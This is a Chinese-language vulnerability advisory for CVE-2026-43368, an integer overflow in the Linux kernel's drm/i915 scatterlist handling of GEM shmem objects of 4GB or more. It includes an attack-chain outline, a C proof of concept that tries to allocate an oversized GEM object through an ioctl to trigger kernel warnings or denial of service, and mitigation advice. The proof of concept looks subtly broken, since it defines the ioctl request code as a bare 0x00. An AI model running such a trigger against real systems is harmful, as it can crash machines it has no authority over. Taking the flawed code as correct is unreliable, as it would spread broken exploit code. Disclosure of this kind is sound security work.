IPBUF安全漏洞报告
English
CVE-2026-43368 CVSS 7.8 高危

CVE-2026-43368 Linux内核drm/i915散列表长度溢出漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43368
漏洞类型
整数溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel整数溢出DoS本地提权i915GPU驱动

漏洞概述

Linux内核drm/i915驱动程序存在一处整数溢出漏洞。在处理大小为4GB或更大的GEM shmem对象scatterlist表时,由于使用unsigned int存储长度,当单个scatterlist的字节长度达到或超过4GB限制时会发生溢出。这导致用户访问对象时意外截断后备页,可能触发系统警告或潜在的内存破坏行为。

技术细节

该漏洞位于Linux内核的i915图形驱动中,具体涉及GEM(Graphics Execution Manager)shmem对象的scatterlist构建过程。scatterlist结构体中的length字段为unsigned int类型,其最大值限制了单个条目可表示的字节数。当系统处理4GB或更大的shmem对象,且使用folio分配页面时,如果单个scatterlist条目的累积长度触及4GB边界,由于缺乏边界检查,length字段会发生整数溢出并回绕。这会导致调用者(如remap_sg函数)错误计算映射范围,进而触发内核WARNING。攻击者利用此漏洞,可通过编写恶意程序在本地触发该逻辑,造成系统拒绝服务(DoS)。虽然主要影响是可用性,但在复杂的内存布局下,错误的scatterlist长度可能导致越界读写,进而引发信息泄露或潜在的本地权限提升风险。

攻击链分析

STEP 1
本地访问
攻击者获得本地低权限用户访问权限。
STEP 2
触发分配
攻击者调用i915驱动接口,尝试创建大小超过4GB的GEM shmem对象。
STEP 3
溢出发生
驱动填充scatterlist表时,length字段发生整数溢出。
STEP 4
映射错误
攻击者尝试映射或操作该对象,触发remap_sg等函数中的逻辑错误。
STEP 5
影响实现
导致内核警告、系统崩溃或潜在的内存读写异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43368 * Triggers the scatterlist overflow by creating a large GEM object. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <drm/drm.h> #define DEVICE "/dev/dri/card0" struct drm_i915_gem_create { __u64 size; __u32 handle; __u32 pad; }; #define DRM_IOCTL_I915_GEM_CREATE 0x00 int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("open"); return 1; } struct drm_i915_gem_create create; memset(&create, 0, sizeof(create)); // Size > 4GB to trigger overflow in scatterlist length create.size = 0x100000001; if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &create) == 0) { printf("[+] Large GEM object created. Handle: %u\n", create.handle); printf("[+] Check dmesg for WARNING: CPU: ... remap_sg\n"); } else { perror("ioctl"); } close(fd); return 0; }

影响范围

Linux Kernel 6.17-rc1及之前版本

防御指南

临时缓解措施
建议限制非受信用户对图形设备的访问权限,并及时关注Linux内核官方更新,安装修复补丁以防止潜在的本地拒绝服务攻击。

参考链接